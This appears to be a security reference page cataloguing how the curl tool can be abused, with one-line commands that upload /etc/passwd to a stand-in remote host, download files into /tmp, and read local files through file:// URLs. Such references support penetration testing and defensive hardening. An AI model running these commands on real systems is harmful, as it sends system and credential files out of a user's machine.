.. / curl
Star

File upload

It can exfiltrate files on the network.

Send a local file to a remote server in a POST request.
```
curl --data @/etc/passwd http://website.com/
```
Send a local file to a remote server in a POST request.
```
curl -F 'var=@/etc/passwd' http://website.com/
```
Send a local file to a remote server in a POST request.
```
curl --upload-file /etc/passwd http://website.com/
```

File download

It can download remote files.

Downloads a file to a destination.
```
curl http://website.com/ -o /tmp/
```

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

Uses file-read to effectively copy files.
```
curl file:///etc/passwd -o /tmp/
```

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

Read local files by using the file:// schema.
```
curl file:///etc/passwd
```